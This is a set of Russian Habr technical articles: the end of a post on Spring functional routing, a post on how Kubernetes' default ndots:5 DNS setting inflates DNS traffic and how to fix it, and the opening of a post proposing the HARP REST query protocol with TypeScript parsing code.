Как с этим бороться?
====================
Вариант 1: использовать pattern. Например, если все поддерживаемые адреса можно выразить строкой `/[static-prefix]/[suffix]`, где `static-prefix` для всех один, то можно выразить запрос так:
```
GET("/static-prefix/{suffix}"),
req -> ok().body(
execute(
req.pathVariable("suffix")
)
)
```
Полный пример [можно посмотреть здесь](https://www.baeldung.com/spring-5-functional-web). Если устроить `switch` по суфиксу, то решение будет работать за линейное время от запроса (напомню, что в `Java`/`Kotlin`/`Scala` `switch` по строке высчитывает сначала хеш, и только потом делает сравнение символов, чтобы избежать коллизий).
Вариант 2: использовать иерархию в функциях. Как пример кода [отсюда](https://www.baeldung.com/spring-mvc-functional-controllers):
```
public RouterFunction productSearch(ProductService ps) {
return route().nest(
RequestPredicates.path("/product"),
builder -> { // мы можем добавить сколько угодно функций сюда
builder.GET("/name/{name}", req -> ok().body(ps.findByName(req.pathVariable("name"))));
}
).build();
}
```
...
===
И в заключении: если у вашего приложения нет более-менее серьезной нагрузки, то подобные оптимизации бессмысленны. Сборщик мусора стерпит, а заодно код получается простым для чтения. Однако если ваш сайт постоянно грузят пользователи, то можно ускорить сервис путем уменьшения число роутеров.
Как видно, из-за абстранций и идеи расширяемости, не стоит полагаться на то, что команда Spring всё волшебным образом ускорит. Лучше просто упростить конфигурацию. | https://habr.com/ru/post/493448/ | null | ru | null |
# /etc/resolv.conf для Kubernetes pods, опция ndots:5, как это может негативно сказаться на производительности приложения
Не так давно мы запустили Kubernetes 1.9 на AWS с помощью Kops. Вчера, во время плавного выкатывания нового трафика на самый большой из наших Kubernetes кластеров, я начал замечать необычные ошибки разрешения имен DNS, залогированные нашим приложением.
На GitHub довольно долго об этом [говорили](https://github.com/kubernetes/kubernetes/issues/45976), поэтому я тоже решил разобраться. В итоге я понял, что в нашем случае это вызвано повышенной нагрузкой на `kube-dns` и `dnsmasq`. Самым интересным и новым для меня оказалась сама причина значительного увеличения трафика DNS-запросов. Об этом и о том, что с этим делать, мой пост.
Разрешение DNS внутри контейнера — как и в любой системе Linux — определяется конфигурационным файлом `/etc/resolv.conf`. По умолчанию Kubernetes `dnsPolicy` это `ClusterFirst`, что означает, что любой DNS-запрос будет перенаправлен на `dnsmasq`, запущенный в поде `kube-dns` внутри кластера, который, в свою очередь, перенаправит запрос в приложение `kube-dns`, если имя заканчивается суффиксом кластера, или, в противном случае, к DNS серверу более высокого уровня.
Файл `/etc/resolv.conf` внутри каждого контейнера по умолчанию будет выглядеть так:
```
nameserver 100.64.0.10
search namespace.svc.cluster.local svc.cluster.local cluster.local
eu-west-1.compute.internal
options ndots:5
```
Как можно заметить, тут три директивы:
1. Сервер имен — это IP сервиса `kube-dns`
2. Указано 4 локальных поисковых домена `search`
3. Есть опция `ndots:5`
Интересной частью этой конфигурации является то, как локальные поисковые домены и настройки `ndots:5` уживаются вместе. Чтобы это понять, необходимо разобраться, как работает разрешение DNS для неполных имен.
### Что такое полное имя?
Полностью определенное имя — это имя, для которого не будет выполняться локальный поиск, и имя будет считаться абсолютным во время разрешения имен. По соглашению, программное обеспечение DNS считает имя полностью определенным, если оно заканчивается точкой (.), И не полностью определенным в противном случае. То есть `google.com.` полностью определено, а `google.com` — нет.
### Как обрабатывается неполное имя?
Когда приложение подключается к удаленному хосту, указанному в имени, разрешение имен DNS обычно выполняется с помощью системного вызова, например, `getaddrinfo()`. А вот если имя неполное (не заканчивается на .), интересно, попытается ли системный вызов сначала разрешить имя как абсолютное, или сначала пройдет через локальные поисковые домены? Это зависит от опции `ndots`.
Из мануала по `resolv.conf`:
```
ndots:n
устанавливает порог для количества точек, которые должны появиться в имени, прежде чем будет сделан начальный абсолютный запрос. Значение по умолчанию для n равно 1, что означает, что если в имени есть какие-либо точки, имя будет сначала опробовано как абсолютное имя, прежде чем к нему будут добавлены какие-либо элементы списка поиска.
```
Это означает, что если для `ndots` задано значение 5, а имя содержит менее 5 точек, системный вызов попытается разрешить его последовательно, сначала пройдя по всем локальным поисковым доменам, и, в случае неудачи, в конце концов разрешит его как абсолютное имя.
### Почему же `ndots:5` может негативно сказаться на производительность приложения?
Как вы понимаете, если ваше приложение использует много внешнего трафика, для каждого установленного TCP-соединения (или, точнее, для каждого разрешенного имени) оно будет выдавать 5 DNS-запросов, прежде чем имя будет правильно разрешено, потому что оно сначала пройдет через 4 локальных поисковых домена, а в конце выдаст запрос разрешения абсолютного имени.
На следующей диаграмме показан суммарный трафик на наших 3 модулях kube-dns до и после того, как мы переключили несколько имен хостов, настроенных в нашем приложении, на полностью определенные.
На следующей диаграмме показана задержка приложения до и после того, как мы переключили несколько имен хостов, настроенных в нашем приложении, на полные (вертикальная синяя линия это развертывание):
### Решение #1 — использовать полностью определенные имена
Если у вас мало статических внешних имен (т. е. определенных в конфигурации приложения), к которым вы создаете большое количество соединений, возможно, самое простое решение — переключить их на полностью определенные, просто добавив. в конце.
Это не окончательное решение, но помогает быстро, пусть и не чисто, улучшить ситуацию. Этот патч мы применили для решения нашей проблемы, результаты чего были показаны на скриншотах выше.
### Решение #2 — кастомизация `ndots` в `dnsConfig`
В Kubernetes 1.9 в альфа режиме появился функционал (бета-версия v1.10), который позволяет лучше контролировать параметры DNS через свойство пода в `dnsConfig`. Среди прочего, он позволяет настроить значение `ndots` для конкретного пода, т.е.
```
apiVersion: v1
kind: Pod
metadata:
namespace: default
name: dns-example
spec:
containers:
- name: test
image: nginx
dnsConfig:
options:
- name: ndots
value: "1"
```
### Источники
* [What DNS name qualification is](http://jdebp.eu./FGA/dns-name-qualification.html)
* [Kubernetes: DNS for Services and Pods](https://kubernetes.io/docs/concepts/services-networking/dns-pod-service/)
### Также читайте другие статьи в нашем блоге:
* [Разбираемся с пакетом Context в Golang](https://habr.com/ru/company/nixys/blog/461723/)
* [Три простых приема для уменьшения Docker-образов](https://habr.com/ru/company/nixys/blog/437372/)
* [Бэкапы Stateful в Kubernetes](https://habr.com/ru/company/nixys/blog/426543/)
* [Резервное копирование большого количества разнородных web-проектов](https://habr.com/ru/company/nixys/blog/424717/)
* [Telegram-бот для Redmine. Как упростить жизнь себе и людям](https://habr.com/ru/company/nixys/blog/347526/) | https://habr.com/ru/post/464371/ | null | ru | null |
# Humane API REST Protocol
Здравствуйте, меня зовут Дмитрий Карловский и я… как скульптор, отрезаю всё лишнее, чтобы оставить лишь самую мякотку, которая в наиболее лаконичной и практичной форме решает широкий круг задач. Вот лишь несколько спроектированных мною вещей:
* [MarkedText](https://habhub.hyoo.ru/#!author=nin-jin/repo=HabHub/article=39) — стройный легковесный язык разметки текста (убийца MarkDown).
* [Tree](https://github.com/nin-jin/slides/tree/master/tree) — структурированный формат представления данных (убийца JSON и XML).
На этот же раз мы спроектируем удобный клиент-серверный [API](https://ru.wikipedia.org/wiki/API), призванный убрать кровавую пелену с глаз фронтендеров и стальные мозоли с пальцев бэкендеров..
| | HARP | OData | GraphQL |
| --- | --- | --- | --- |
| **Architecture** | ✅REST | ✅REST | ❌RPC |
| Common **uri query string** compatible | ⭕Back | ✅Full | ❌ |
| **Single line** query | ✅ | ✅ | ❌ |
| **Pseudo-static** compatible | ⭕Back | ⭕Partial | ❌ |
| **Same model** of request and response | ✅ | ✅ | ❌ |
| **File name** compatible | ✅ | ❌ | ❌ |
| **Web Tools** Friendly | ✅ | ❌ | ❌ |
| Data **filtering** | ✅ | ✅ | ⭕Unspec |
| Data **sorting** | ✅ | ✅ | ⭕Unspec |
| Data **slicing** | ✅ | ✅ | ⭕Unspec |
| Data **aggregation** | ✅ | ✅ | ⭕Unspec |
| **Deep** fetch | ✅ | ✅ | ✅ |
| **Limited** logic | ✅ | ❌ | ✅ |
| **Metadata** query | ✅ | ✅ | ✅ |
| **Idempotent** requests | ✅Full | ⭕Partial | ❌Undef |
| **Normalized** response | ✅ | ❌ | ❌ |
Application Programming Interface
=================================
Архитектурно можно выделить три основных подхода: [RPC](https://ru.wikipedia.org/wiki/%D0%A3%D0%B4%D0%B0%D0%BB%D1%91%D0%BD%D0%BD%D1%8B%D0%B9_%D0%B2%D1%8B%D0%B7%D0%BE%D0%B2_%D0%BF%D1%80%D0%BE%D1%86%D0%B5%D0%B4%D1%83%D1%80), [REST](https://ru.wikipedia.org/wiki/REST) и протоколы синхронизации. Разберём их подробнее..
Remote Procedure Call
---------------------
Тут мы сначала выбираем какую процедуру вызвать. Потом передаём на сервер её имя и аргументы. Сервер её выполняет и возвращает результат.
Известные примеры RPC протоколов:
* [XML RPC](http://xmlrpc.com/)
* [JSON RPC](https://www.jsonrpc.org/)
* [GraphQL](https://graphql.org/)
Общей особенностью таких протоколов является огромное число процедур с уникальными сигнатурами, для каждой из которых нужна документация и поддержка в коде ([пример](https://docs.github.com/en/graphql/reference/mutations)). Как следствие, подобные протоколы весьма сложны в поддержке, а использование сопряжено с постоянным штудированием документации.
Другой особенностью является невозможность кеширования запросов на прокси, так как они не имеют информации о том, что и как можно кешировать.
REpresentational State Transfer
-------------------------------
Тут идея в том, чтобы выделить объекты с которыми можно взаимодействовать (ресурсы), стандартизировать их идентификаторы ([URI](https://ru.wikipedia.org/wiki/URI)) и процедуры для взаимодействия с ними ([методы](https://ru.wikipedia.org/wiki/HTTP#%D0%9C%D0%B5%D1%82%D0%BE%D0%B4%D1%8B)). Число типов ресурсов получается таким образом в несколько раз меньше, чем число процедур в случае RPC, что существенно проще в использовании человеком.
Известные примеры REST протоколов:
* [WebDAV](http://webdav.org/)
* [OData](https://www.odata.org/)
* [JSON:API](https://jsonapi.org/)
Так как число REST методов весьма ограничено и каждый имеет чёткую семантику, то становится довольно легко писать приложения, умеющие работать с любыми (даже заранее не известными) ресурсами ([пример](https://http.hyoo.ru/#!uri=https%3A%2F%2Fapi.github.com%2Frepos%2Fnin-jin%2Fhabhub%2Fissues/headers=Accept%3A%20application%2Fvnd.github.raw%2Bjson)), понимающими как их читать, обновлять, кешировать и тд.
Synchronization protocols
-------------------------
Тут на уровне протокола вообще нет методов, а узлы сети просто обмениваются дельтами внесённых локально изменений. Эти виды протоколов характерны для децентрализованных систем, поддерживающих работу в оффлайне. Известные представители данного типа протоколов… мне не известны. Но сейчас я разрабатываю один из таких, который вскоре перевернёт весь мир. Но пока что мы остановимся на чём-то более традиционном — REST..
Architecture
============
Прежде чем браться за детали протокола, давайте определимся с архитектурными ограничениями, на которые мы будем ориентироваться..
Pseudo-Static
-------------
Важно отметить, что REST — это совсем не про URI похожие на пути к файлам вида:
```
/users/jin/chats/123/messages/456/likes.json
/organizations/hyoo/chats/123/messages/456/likes.json
```
Эти две ссылки фактически ссылаются на один и тот же ресурс. То есть первая же проблема с ними — выбор каноничной ссылки из множества вариантов.
Другая проблема заключается в том, что нам необходимо знать информацию о всём пути, которой у нас может и не быть. Например, есть у нас идентификатор сообщения, но мы не можем получить его лайки так как не знаем идентификаторов чата и организации.
Следующая проблема — раздутие размера из-за избыточной информации, что приводит либо к переносу на несколько строк в случайных местах, либо вообще к обрезанию.
Наконец, при переносе чата, например, в другую организацию, ссылки на все сообщения вдруг поменяются, а пришедший по старым ссылкам пользователь зачастую увидит издевательски красивую страницу 404. Если разработчик, конечно, не запарился серьёзно над редиректами.
Резюмируя: **URI должен содержать лишь минимально необходимую информацию для идентификации самого ресурса, но не его положение в той или иной иерархии.**
Create Read Update Delete
-------------------------
Не менее важно отметить, что REST не только и не столько про CRUD, не смотря на то, что CRUD хорошо выражается через основные HTTP методы:
* `Create` — `POST`
* `Read` — `GET`
* `Update` — `PUT`/`PATCH`
* `Delete` — `DELETE`
У CRUD тем не менее есть ряд существенных недостатков..
**Создание ресурса не является идемпотентным**. Если наш запрос на вызов такси потерялся на пол пути, то попытка его повторить может привести к [приезду сразу нескольких такси](https://habr.com/ru/company/yandex/blog/442762/). Кроме того, до создания ресурса у него нет идентификатора, который необходим для адекватной работы UI, что вынуждает клиента вставлять костыли с присвоением временных идентификаторов, и последующей заменой их на постоянные после создания ресурса. Ввиду всего этого предпочтительнее формировать глобально уникальный идентификатор ещё на клиентской стороне, а на сервере создавать ресурс на лету, когда клиент пришлёт свои обновления для ещё не созданного ресурса.
**Удаление ресурса нарушает ссылочную целостность**. И если в рамках нашей системы мы можем обновить или удалить все ссылки, то внешние системы так и продолжат ссылаться в никуда. Поэтому предпочтительнее ресурсы не удалять полностью, а лишь помечать скрытыми.
Таким образом **для нашего протокола хватит лишь двух HTTP-методов**:
* `GET` для чтения.
* `PATCH` для обновления.
Важно отметить, что ресурс может быть довольно большим, поэтому важны механизмы как частичного чтения (fetch plan), так и частичного обновления (`PATCH`, но не `PUT`).
Real Time
---------
Подход HTTP с запросом/ответом плохо подходит для современных приложений, которым нужно в реальном времени реагировать на изменения, не заваливая сервер запросами вида "а не изменилось ли что?". Для таких приложений необходимо поднимать двустороннее WebSocket соединение. А чтобы не повторять одну и ту же логику дважды, HTTP запросы можно делать через него:
В дополнение к стандартным `GET` и `PATCH`, при соединении по WebSocket стоит поддержать ещё пару методов:
* `WATCH` — это то же самое, что и `GET`, но дополнительно подписывает клиента на обновления ресурса.
* `FORGET` — просто отписывает от обновлений.
Keys
----
При выборе способа идентификации сущности можно выделить два основных подхода:
* [Натуральный ключ](https://en.wikipedia.org/wiki/Natural_key), формирующийся из свойств сущности. Но он не эффективен, не гарантирует уникальность и может динамически меняться, что создаёт множество проблем.
* [Суррогатный ключ](https://ru.wikipedia.org/wiki/%D0%A1%D1%83%D1%80%D1%80%D0%BE%D0%B3%D0%B0%D1%82%D0%BD%D1%8B%D0%B9_%D0%BA%D0%BB%D1%8E%D1%87), генерирующийся автоматически. Он эффективен, неизменен и гарантированно уникален.
Ключевое свойство тут — неизменность. **Идентификатор не должен меняться со временем**, иначе его сложно назвать идентификатором. Поэтому нам подойдёт любой неизменный ключ. И зачастую натурального неизменного ключа попросту не удаётся придумать. Поэтому как правило это должен быть именно суррогатный.
Model
-----
Как правило, прикладная область представляет из себя граф, где узлами выступают несколько десятков типов сущностей, а рёбрами — несколько сотен типов отношений между ними.
Часть этих сущностей и отношений представлена в базе данных в явном виде, что характерно для рёбер в графовых СУБД. Часть — в неявном, что характерно для отношений в реляционных СУБД. А часть может быть виртуальными, вычисляемыми на лету.
Кстати, на тему графовых СУБД у меня есть пара интересных статей:
* [Не пора ли реляционным базам данных на свалку истории?](https://habhub.hyoo.ru/#!author=nin-jin/repo=HabHub/article=3)
* [Пилим каталог товаров не притрагиваясь к реляционной алгебре](https://habhub.hyoo.ru/#!author=nin-jin/repo=HabHub/article=9)
Хорошей практикой является абстрагирование API от деталей хранения и внутреннего представления данных. Это позволяет менять внутренности без изменения внешнего контракта, и не усложнять его низкоуровневыми деталями.
Итак, опишем наиболее простую, но гибкую модель:
* `Entity` — документ, хранящий различные данные.
* `Type` — тип сущности, который определяет какие у неё есть свойства и какого они типа.
* `ID` — суррогатный идентификатор сущности, уникальный в рамках её типа.
* `URI` — уникальный идентификатор сущности в рамках всего API, представляющий из себя ссылку относительно базового URI API.
* **Сущности могут содержать URI других сущностей в качестве значений свойств, что позволяет им образовывать граф**.
Fetch Plan
----------
Часто при реализации REST API ресурс возвращается целиком. Хороший анти пример — [поиск через GitHub API](https://api.github.com/search/issues?q=label:HabHub%20is:open&sort=updated&per_page=100), выдача которого запросто может весить полтора мегабайта вместо требуемых для [отображения меню](https://habhub.hyoo.ru/) пары килобайт. Это типичная проблема, называемая *overfetch*.
Если в некоторых ответах ресурс будет возвращаться в сокращённом виде, то в ряде случаев это приведёт к необходимости дозапрашивать полное представление ресурса ради одного недостающего поля. В примере с GitHub поиском данные пользователя выдаются в сокращённом виде. А это значит, что если нам нужно рядом с пользователем показывать ещё и список организаций, в которых он состоит, то нам придётся сделать ещё N запросов за [всеми данными пользователя](https://api.github.com/users/nin-jin). Это не менее типичная проблема, называемая *underfetch*.
Так же тут можно заметить, что если один и тот же пользователь встречается в нескольких местах, то одни и те же его данные дублируются многократно. В моей практике был курьёзный случай с менеджером задач, где каждая задача находилась в нескольких папках, те в нескольких других, и так далее до корня. И когда приложение при старте запрашивало дерево папок, то вместо десятка килобайт данных, оно получало ответ в десятки мегабайт. А это мало того, что нагружало сервер и сеть, так ещё и Internet Explorer просто падал при попытке распарсить столь большой JSON.
Последняя проблема является следствием *денормализации* данных, не являющихся по своей сути [ориентированным деревом](https://ru.wikipedia.org/wiki/%D0%94%D0%B5%D1%80%D0%B5%D0%B2%D0%BE_(%D1%82%D0%B5%D0%BE%D1%80%D0%B8%D1%8F_%D0%B3%D1%80%D0%B0%D1%84%D0%BE%D0%B2)). Особую пикантность этой ситуации придавало то, что сервер получал данные из базы в нормальной форме, но для выдачи клиенту производил денормализацию. А клиент, получая данные в денормализованной форме, делал обратную нормализацию, чтобы избавиться от дубликатов.
Отчасти поэтому GitHub со временем перешёл на более модный GraphGL, который решает первые две проблемы, но не последнюю. Мы же решим их все. А значит нам нужно следующее:
* **Partial Fetch** — указание в запросе какие именно поля надо выгружать.
* **Recursive Fetch** — если в поле находится ссылка на другой ресурс, то указание в запросе, какие его свойства надо выгружать.
* **Filtered Fetch** — указание ограничений как для непосредственной выдачи, так и для загружаемых рекурсивно коллекций.
* **Normalized Output** — возвращение в ответе небольшого среза графа в нормальной форме без дублирования.
Query
=====
Итак, ближе к делу, пришла пора разработать язык запросов ко графу в рамках REST архитектуры..
Applications
------------
Прежде всего надо определиться где и как будут использоваться запросы:
* В коде приложения в виде литерала прописан URI.
* Через специальный DSL формируется URI с подстановкой динамических данных.
* Разработчик может просто открыть URI в браузере, чтобы посмотреть что возвращает сервер.
* В сетевом логе клиента разработчик может найти интересующий его запрос, чтобы посмотреть подробности.
* В сетевом логе сервера запросы тоже часто выводятся в одну строку с минимальными подробностями.
* Выдача может быть сохранена в виде файла. Хорошо бы иметь сам запрос в качестве его имени.
* Тот же формат может быть использован и для адресов страниц для пользователей.
* URI может быть отправлен в чате, комментарии, социальной сети и тд.
* URI может выводиться в XML в том числе в виде идентификатора узла.
Special Symbols
---------------
Так как запрос может содержать пользовательские данные, то в них придётся экранировать все спецсимволы. В формате URL уже есть ряд стандартных спец символов, поддерживаемых любыми инструментами:
```
: @ / $ + ; , ? & = #
```
Они экранируются при использовании `encodURIComponent`, но не при использовании `encodeURI`, то есть с этими символами мы точно не получим неожиданного экранирования. Однако, с некоторыми из них всё же есть проблемы:
* `: / ?` — не допустимы в именах файлов.
* `:` — не допустим в начале пути URL.
* `/` — ряд инструментов показывает лишь последний сегмент пути после него, что порой не информативно.
* `? #` — ряд инструментов экранирует множественные вхождения этих символов в URL.
* `#` — всё, что после этого символа, браузер на сервер не передаёт.
* `&` — требует неуклюжего экранирования в XML: `&`.
Таким образом, ряд допустимых спецсимволов сокращается до:
```
@ $ + ; , =
```
Так как нам надо делать глубокие выборки, то нам нужны те или иные формы скобок. Однако, эти символы на роль скобок совершенно не подходят. Давайте проанализируем какие виды наглядных скобок вообще есть:
* `()` — не экранируются в пользовательских данных стандартными инструментами (`encodeURIComponent`), так что совсем не подходят.
* `<>` — экранируются при отображении в Chrome Dev Tools, что резко снижает наглядность. Не допустимы в именах файлов. Требует неуклюжего экранирования в XML.
* `{}` — экранируются при использовании до `?` в Chrome, но если размещать запрос после `?`, то всё хорошо.
* `[]` — не экранируется ни в адресной строке браузеров, ни в их логах запросов. Вообще супер!
Так что дополним допустимое множество спецсимволов квадратными скобками:
```
@ $ + ; , = [ ]
```
Отдельно стоит отметить символы, которые не экранируются в пользовательских данных:
```
~ ! * ( ) _ - ' .
```
Их допустимо использовать, но лишь в тех местах, где синтаксически не может быть пользовательских данных. Впритык к ним такие символы тоже лучше не использовать, чтобы визуально они не сливались.
Syntax
------
Так как запрос может быть довольно сложным, но представляет из себя одну строку, то крайне важно, чтобы синтаксис был на столько компактным, на сколько это возможно. Но не в ущерб наглядности, конечно же.
Чтобы полностью идентифицировать сущность нам надо указать её тип и идентификатор. Нет ничего естественнее, чем соединить их через `=`:
> [`person=jin`](https://harp.hyoo.ru/#!query=person%3Djin)
Как можно заметить, это не полный URI, а его сокращённая форма. Если базовый URI API `https://example.org/`, то полный URI сущности получится такой:
> `https://example.org/person=jin`
Теперь, если в выдаче по этой ссылке мы получим, например `article=123`, то такой URI тоже правильно отрезолвится в:
> `https://example.org/article=123`
Относительные URI хороши не только тем, что они короткие, но и тем, что мы можем работать с одним и тем же графом через разные *API Enpoints*, что очень полезно, например, при переезде API.
Что если нам нужен не один пользователь, а все? Просто убираем идентификатор и получаем всю коллекцию:
> [`person`](https://harp.hyoo.ru/#!query=person)
Да, в общем случае, имя — это не тип, а имя коллекции или поля. Воспользуемся `;`, чтобы выбрать сразу несколько коллекций:
> [`person;article;section`](https://harp.hyoo.ru/#!query=person%3Barticle%3Bsection)
Важно отметить, что по таком запросу возвращены будут лишь списки идентификаторов сущностей, но не их данные. Поэтому воспользуемся скобками, чтобы указать, какие именно поля мы хотим видеть в выдаче:
> [`person[name;age];article[title;content]`](https://harp.hyoo.ru/#!query=person%5Bname%3Bage%5D%3Barticle%5Btitle%3Bcontent%5D)
Скобки можно использовать рекурсивно, чтобы делать глубокие выборки:
> [`person=jin[name;age;friend[name;age]]`](https://harp.hyoo.ru/#!query=person%3Djin%5Bname%3Bage%3Bfriend%5Bname%3Bage%5D%5D)
Тут мы выбрали имена и возраста конкретного пользователя и всех его друзей.
Предикат после имени в общем случае является не указанием ID, а произвольным фильтром. Просто для сущностей он интерпретируется как фильтр по ID. Для примера, загрузим не всех пользователей, а только девушек:
> [`person[name;phone;sex=female]`](https://harp.hyoo.ru/#!query=person%5Bname%3Bphone%3Bsex%3Dfemale%5D)
Тут важно отметить, что фильтрация по какому-либо полю обычно сопряжена с загрузкой этого поля. Поэтому для каждой девушки тут будет выдано не только имя и номер телефона, но и пол. Это может показаться избыточным в данном примере. Но только до тех пор, пока мы не узнаем, что под `female` может скрываться и `trap`, и было бы не плохо по выдаче это распознать. Так что клиенту лучше не строить гипотез касательно фактических значений полей, а просто получать их от сервера.
Предикат может быть как позитивным, так и негативным. Так что оставим лишь незамужних девушек, используя `!=`:
> [`person[name;phone;sex=female;status!=married]`](https://harp.hyoo.ru/#!query=person%5Bname%3Bphone%3Bsex%3Dfemale%3Bstatus!%3Dmarried%5D)
В качестве значения можно указать не только конкретное значение, но и диапазон, используя `@`. Диапазоны могут быть следующих видов:
* Закрытый с нижней границей: `lo@`
* Закрытый с верхней границей: `@hi`
* Закрытый с обеими границами: `lo@hi`
* Закрытый с совпадающими границами: `val@val` или просто `val`
Да, любое одиночное значение — это на самом деле диапазон. Уточним, что нас интересуют лишь взрослые девушки:
> [`person[name;phone;sex=female;status!=married;age=18@]`](https://harp.hyoo.ru/#!query=person%5Bname%3Bphone%3Bsex%3Dfemale%3Bstatus!%3Dmarried%3Bage%3D18%40%5D)
А диапазон может быть не один, а несколько, разделённых `,`. Так что добавим, что помолвленные девушки нас тоже не интересуют:
> [`person[name;phone;sex=female;status!=married,engaged;age=18@]`](https://harp.hyoo.ru/#!query=person%5Bname%3Bphone%3Bsex%3Dfemale%3Bstatus!%3Dmarried%2Cengaged%3Bage%3D18%40%5D)
Выдачу мы можем сразу отсортировать по загружаемым полям, используя префикс `+` для сортировки по возрастанию и `-` для сортировки по убыванию. Для примера, выведем в начало молодых девушек, с максимальным числом талантов:
> [`person[name;phone;sex=female;status!=married,engaged;-skills;+age=18@]`](https://harp.hyoo.ru/#!query=person%5Bname%3Bphone%3Bsex%3Dfemale%3Bstatus!%3Dmarried%2Cengaged%3B-skills%3B%2Bage%3D18%40%5D)
Приоритет сортировки полей определяется расположением их в запросе. Кто первый встал — того и тапки.
Как и в случае с фильтрами, сортировки тоже приводят к автоматической загрузке соответствующих полей, что позволяет сохранять URI коротким.
У каждой сущности есть обобщённые поля, начинающиеся с `_`, через которые можно, например, получать агрегированную информацию, вместо детальной. Если вместо числового поля с числом талантов у нас есть лишь поле со ссылками на сущности описывающие эти таланты, но мы не хотим их все загружать, то можем просто получить их число, используя функцию `_len`:
> [`person[name;phone;sex=female;status!=married,engaged;-_len[skill];+age=18@]`](https://harp.hyoo.ru/#!query=person%5Bname%3Bphone%3Bsex%3Dfemale%3Bstatus!%3Dmarried%2Cengaged%3B-_len%5Bskill%5D%3B%2Bage%3D18%40%5D)
В функцию агрегации передаётся не просто имя поля, а подзапрос, размер выдачи которого и будет возвращён для каждой девушки. Например, уточним, что нас интересуют лишь таланты по воспитанию детей:
> [`person[name;phone;sex=female;status!=married,engaged;-_len[skill[kind=kids]];+age=18@]`](https://harp.hyoo.ru/#!query=person%5Bname%3Bphone%3Bsex%3Dfemale%3Bstatus!%3Dmarried%2Cengaged%3B-_len%5Bskill%5Bkind%3Dkids%5D%5D%3B%2Bage%3D18%40%5D)
Другие агрегационные функции: `_sum`, `_min`, `_max`. И этот список будет расширяться. Каждая функция сама определяет сколько и каких параметров ей надо передавать.
Если же мы хотим получить не весь список, а, например, лишь первые 20, то можем воспользоваться другим обобщённым полем — `_num`, которое содержит номер сущности в конкретном списке (сам номер при этом не возвращается):
> [`person[_num=0@20;name;phone;sex=female;status!=married,engaged;-_len[skill[kind=kids]];+age=18@]`](https://harp.hyoo.ru/#!query=person%5B_num%3D0%4020%3Bname%3Bphone%3Bsex%3Dfemale%3Bstatus!%3Dmarried%2Cengaged%3B-_len%5Bskill%5Bkind%3Dkids%5D%5D%3B%2Bage%3D18%40%5D)
Вот и весь язык запросов. Как видите, весьма короткий запрос позволяет довольно точно указать, что мы хотим. Если в последнем URI вы узнали себя — срочно пишите мне [телеграмы](https://t.me/nin_jin). А с теми кто остался мы продолжаем..
Back Compatibility
------------------
Символ `;` для разделения параметров выбран из соображений удобочитаемости и универсальности. Однако, не сложно заметить, что если парсер будет поддерживать также и `&`, то его можно будет использовать и для для обычных [QueryString](https://en.wikipedia.org/wiki/Query_string). Это позволяет, плавно мигрировать с QueryString на HARP:
> [`search=harp&offset=0&limit=10`](https://harp.hyoo.ru/#!query=search%3Dharp%26offset%3D0%26limit%3D10)
Но и это ещё не всё, добавив `/` с той же семантикой, мы сможем разбирать и pathname:
> [`users/jin/comments=123`](https://harp.hyoo.ru/#!query=users%2Fjin%2Fcomments%3D123)
А добавив ещё и `?` с `#`, можем всё это комбинировать:
> [`users/jin/comments?since=2022-08-04#scrollTop=9000`](https://harp.hyoo.ru/#!query=users%2Fjin%2Fcomments%3Fsince%3D2022-08-04%23scrollTop%3D9000)
TypeScript API
--------------
Строковое представление запросов удобно, когда работаешь с ними вручную. Но когда надо формировать их программно, подставляя динамические значения, работать со строками уже не так классно. Поэтому я реализовал пару функций:
* [$hyoo\_harp\_from\_string](https://github.com/hyoo-ru/harp.hyoo.ru/blob/master/from/string/string.ts) — Парсит HARP Query в JSON
* [$hyoo\_harp\_to\_string](https://github.com/hyoo-ru/harp.hyoo.ru/blob/master/to/string/string.ts) — Собирает HARP Query из JSON
Используются они так:
```
const harp = $hyoo_harp_from_string( 'person[+age=18@;+name;article[title];_num=20@29]' )
// {
// person: {
// age: {
// '+': true,
// '=': [[ '18', '' ]],
// },
// name: {
// '+': true,
// },
// article: {
// title: {},
// },
// _num: {
// '=': [[ '20', '29' ]],
// },
// },
// }
```
```
const ADULT = [ 18, '' ]
const page = 2
const nums = [ page * 10, ( page + 1 ) * 10 - 1 ]
const uri = $hyoo_harp_to_string({
person: {
age: {
'+': true,
'=': [ ADULT ],
},
name: {
'+': true,
},
article: {
title: {},
},
_num: {
'=': [ nums ],
},
},
})
// person[+age=18@;+name;article[title];_num=20@29]
```
Эти функции слабо типизированы. В том смысле, что ничего не знают про структуру графа. Но мы можем объявить схему, используя, например, [$hyoo\_harp\_scheme](https://github.com/hyoo-ru/harp.hyoo.ru/tree/master/scheme), основанном на [$mol\_data](https://github.com/hyoo-ru/mam_mol/tree/master/data):
```
const Str = $mol_data_optional( $hyoo_harp_scheme( {}, String ) )
const Int = $mol_data_optional( $hyoo_harp_scheme( {}, Number ) )
const Article = $hyoo_harp_scheme({
title: Str,
content: Int,
})
const Person = $hyoo_harp_scheme({
name: Str,
age: Int,
article: $mol_data_optional( Article ),
})
```
Теперь мы можем собирать URI и тайп чекер будет гарантировать, что мы нигде не ошибёмся в именах, и даже будет подсказывать нам при вводе:
```
// person[name;age;article[title]]
const query = Person.build({
person: {
name: {},
age: {},
article: {
title: {},
},
},
})
```
И наоборот, полученный от клиента URI мы легко можем распарсить, получив строго типизированный JSON:
```
const query = Person.parse( 'person[+age=18@;+name;article[title];_num=20@29]' )
const article_fetch1 = Object.keys( query.person.article ) // ❌ article may be absent
const article_fetch2 = Object.keys( query.person.article ?? {} ) // ✅
const follower_fetch = Object.keys( query.follower ?? {} ) // ❌ Person don't have follower
```
Наконец, даже если у нас уже есть какое-то JSON представление запроса, то мы можем его статикодинамически провалидировать:
```
const person1 = Person({}) // ✅
const person2 = Person({ name: {} }) // ✅
const person3 = Person({ title: {} }) // ❌ compile-time error: Person don't have title
const person4 = Person({ _num: [[ Math.PI ]] }) // ❌ run-time error: isn't integer
const person5: typeof Person.Value = person2 // ✅ same type
```
Осталось научиться генерировать TS схему из её декларативного описания, чтобы не приходилось её заново описывать для каждого языка отдельно.
Response
========
Так как модель прикладной области представляет из себя граф, а в ответе нужно возвращать её подграф, то нам нужна возможность представления графа в виде дерева без дублирования. Для этого разделим представление графа на 4 уровня:
* `Type` — Определяет типы хранящихся в них сущностей. Это важно для языков со статической типизацией, чтобы использовались соответствующие структуры данных для обработки ответа.
* `ID` — Идентифицируют сущность в рамках типа.
* `Field` — Имя поля сущности.
* `Value` — Значение поля, тип которого определяется схемой и именем поля.
В качестве значений могут быть URI других сущностей. Именно URI, а не ID, так как в общем случае в одном списке могут идти разные типы сущностей вперемешку.
